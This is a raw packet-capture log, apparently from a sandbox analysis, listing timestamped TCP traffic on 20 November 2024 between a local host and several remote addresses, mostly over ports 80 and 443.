Nov 20, 2024 21:04:32.310149908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.310189009 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.311048031 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.311064959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.311127901 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.311964989 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.312174082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.312275887 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.312911034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.313797951 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.313867092 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.313877106 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.313888073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.314146042 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.314766884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.314953089 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.315141916 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.315788031 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.315937042 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.316034079 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.316721916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.316956997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.317015886 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.317584038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.317794085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.317866087 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.318595886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.318622112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.318762064 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.319427967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.320314884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.320441008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.320564985 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.320858002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.320995092 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.321337938 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.321348906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.321410894 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.322207928 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.322746992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.322793007 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.323190928 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.323234081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.323282957 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.324070930 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.324295998 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.324346066 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.325036049 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.325047016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.325084925 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.326078892 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.326092958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.326159000 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.326935053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.327368975 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.327420950 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.327821970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.328031063 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.328082085 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.328732014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.329431057 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.329473019 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.329674959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.330636978 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.330647945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.330729008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.330743074 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.330878019 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.331536055 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.331644058 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.331715107 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.332539082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.332551003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.332591057 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.333477974 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.333766937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.333808899 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.334342957 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.335318089 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.335330963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.335372925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.335377932 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.335423946 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.336252928 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.336265087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.336309910 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.337153912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.337250948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.337301016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.338090897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.338951111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.339004993 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.339034081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.339046001 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.339076996 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.339960098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.340523005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.340560913 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.340928078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.340934038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.340972900 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.341341019 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.341805935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.342251062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.342293978 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.342724085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.342858076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.342901945 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.343663931 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.343776941 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.343811035 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.344588995 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.344706059 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.344753027 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.345534086 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.345690012 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.345726013 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.346474886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.346642971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.346683025 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.347392082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.347702980 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.347739935 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.348349094 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.349033117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.349082947 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.349272966 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.349697113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.349733114 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.350210905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.350311041 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.350349903 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.351150036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.351994038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.352030993 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.352119923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.352130890 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.352178097 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.353029966 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.353404045 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.353450060 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.353945017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.354401112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.354440928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.354876041 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.355447054 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.355480909 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.355807066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.356236935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.356280088 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.356744051 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.356858015 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.356899977 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.357701063 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.357796907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.357837915 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.358596087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.393343925 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.511420012 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.511502981 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.511543989 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.511818886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.512444973 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.512489080 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.512696981 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.512775898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.512814999 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.513668060 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.515235901 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:32.515276909 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.528867006 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:32.555707932 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:40.425000906 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:43.066076040 CET	49756	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:04:43.066159964 CET	443	49756	216.58.208.228	192.168.2.4
Nov 20, 2024 21:04:43.066287994 CET	49756	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:04:43.066514969 CET	49756	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:04:43.066551924 CET	443	49756	216.58.208.228	192.168.2.4
Nov 20, 2024 21:04:44.155111074 CET	49759	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:44.155163050 CET	443	49759	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:44.155535936 CET	49759	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:44.157099962 CET	49759	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:44.157114029 CET	443	49759	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:44.773662090 CET	443	49756	216.58.208.228	192.168.2.4
Nov 20, 2024 21:04:44.785257101 CET	49756	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:04:44.785289049 CET	443	49756	216.58.208.228	192.168.2.4
Nov 20, 2024 21:04:44.787110090 CET	443	49756	216.58.208.228	192.168.2.4
Nov 20, 2024 21:04:44.787209988 CET	49756	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:04:44.790376902 CET	49756	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:04:44.790554047 CET	443	49756	216.58.208.228	192.168.2.4
Nov 20, 2024 21:04:44.831979990 CET	49756	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:04:44.831994057 CET	443	49756	216.58.208.228	192.168.2.4
Nov 20, 2024 21:04:44.879507065 CET	49756	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:04:45.596823931 CET	443	49759	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:45.596903086 CET	49759	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:45.604578972 CET	49759	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:45.604598999 CET	443	49759	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:45.604962111 CET	443	49759	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:45.659499884 CET	49759	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:45.673330069 CET	49759	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:45.719347954 CET	443	49759	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:46.120091915 CET	443	49759	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:46.120254040 CET	443	49759	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:46.120412111 CET	49759	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:46.124114990 CET	49759	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:46.124134064 CET	443	49759	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:46.124145031 CET	49759	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:46.124150991 CET	443	49759	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:46.271527052 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:46.271589994 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:46.271657944 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:46.272221088 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:46.272236109 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:46.312952995 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:46.313009024 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:46.313123941 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:46.313345909 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:46.313360929 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:46.337019920 CET	49767	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:46.337129116 CET	443	49767	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:46.337218046 CET	49767	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:46.337716103 CET	49767	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:46.337754011 CET	443	49767	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:47.732556105 CET	443	49767	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:47.732671022 CET	49767	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:47.748430014 CET	49767	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:47.748467922 CET	443	49767	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:47.748872995 CET	443	49767	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:47.793719053 CET	49767	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:47.876817942 CET	49767	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:47.923346043 CET	443	49767	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:48.003843069 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.006299973 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.006311893 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.008023977 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.008112907 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.015042067 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.015127897 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.015481949 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.015487909 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.069494963 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.104890108 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.105182886 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.105192900 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.106483936 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.106561899 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.107990980 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.108098984 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.108267069 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.155349016 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.161910057 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.161921978 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.208584070 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.278918028 CET	443	49767	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:48.279017925 CET	443	49767	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:48.279087067 CET	49767	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:48.280076981 CET	49767	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:48.280108929 CET	443	49767	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:48.280126095 CET	49767	443	192.168.2.4	2.16.229.162
Nov 20, 2024 21:04:48.280133963 CET	443	49767	2.16.229.162	192.168.2.4
Nov 20, 2024 21:04:48.506906986 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.506938934 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.506961107 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.506987095 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.506999016 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.507011890 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.507019043 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.507038116 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.507049084 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.507055998 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.507080078 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.620068073 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.620095968 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.620104074 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.620121002 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.620129108 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.620160103 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.620172977 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.620183945 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.620194912 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.620213985 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.620222092 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.684132099 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.684170008 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.684206963 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.684233904 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.684246063 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.685650110 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.741261959 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.741290092 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.741353035 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.741369963 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.741381884 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.741409063 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.771708965 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.771810055 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.771821976 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.771836042 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.771974087 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.772109985 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.772125006 CET	443	49761	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.772135973 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.772176027 CET	49761	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.808702946 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.808731079 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.808779001 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.808793068 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.808825970 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.808851004 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.854157925 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.854186058 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.854221106 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.854233027 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.854259014 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.854269028 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.923552990 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.923599958 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.923778057 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.924146891 CET	49771	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.924159050 CET	443	49771	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.984777927 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.984802008 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.984838963 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:48.984852076 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:48.984886885 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.022255898 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.022275925 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.022339106 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.022350073 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.022388935 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.040219069 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.040241003 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.040306091 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.040318966 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.040359974 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.060810089 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.060817957 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.060926914 CET	49766	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:04:49.060933113 CET	443	49766	13.107.246.63	192.168.2.4
Nov 20, 2024 21:04:49.060986042 CET	49766	443	192.168.2.4	13.107.246.63
